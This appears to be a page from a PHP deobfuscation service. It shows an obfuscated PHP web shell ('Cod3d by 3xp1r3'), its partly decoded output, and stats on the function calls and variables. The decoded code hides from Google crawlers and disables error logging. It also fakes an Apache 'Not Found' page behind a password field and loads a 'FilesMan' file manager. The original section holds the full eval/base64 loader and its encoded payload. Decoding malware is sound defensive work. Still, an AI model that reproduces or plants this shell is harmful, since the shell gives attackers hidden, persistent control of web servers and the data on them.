Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* Cod3d by 3xp1r3 - Dr3@m3r~1986 */$OOO000000=urldecode('%66%67%36%73%62%65%68%7..

Decoded Output download

$auth_pass = "08fde1d5f5829cfb3a5749b7b3c8edf9";
$color = "#00FF66";
$default_action = 'FilesMan';
@define('SELF_PATH', 'index.php');
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', 'Ver 2.0');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    echo '<h1>Not Found</h1>
          <p>The requested URL was not found on this server.</p>
          <hr>
          <address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>
          <style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style>
          <center><form method=post><input type=password name=pass></form></center>';
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) &

Did this file decode correctly?

Original Code

<?php /*   Cod3d by 3xp1r3 - Dr3@m3r~1986  */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x1da0c;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDlmKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>~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

Function Calls

fopen 1
fread 3
strtr 2
fclose 1
urldecode 1
str_replace 1
base64_decode 3

Variables

$O000O0O00 True
$O0O000O00 fgets
$O0O000O0O fgetc
$O0O00OO00 fread
$OO00O0000 121356
$OO00O00O0 $auth_pass = "08fde1d5f5829cfb3a5749b7b3c8edf9"; $color = "#..
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen
$OOO0O0O00 index.php

Stats

MD5 965f3b3d7d0e69b062c064fd9b66f645
Eval Count 3
Decode Time 94 ms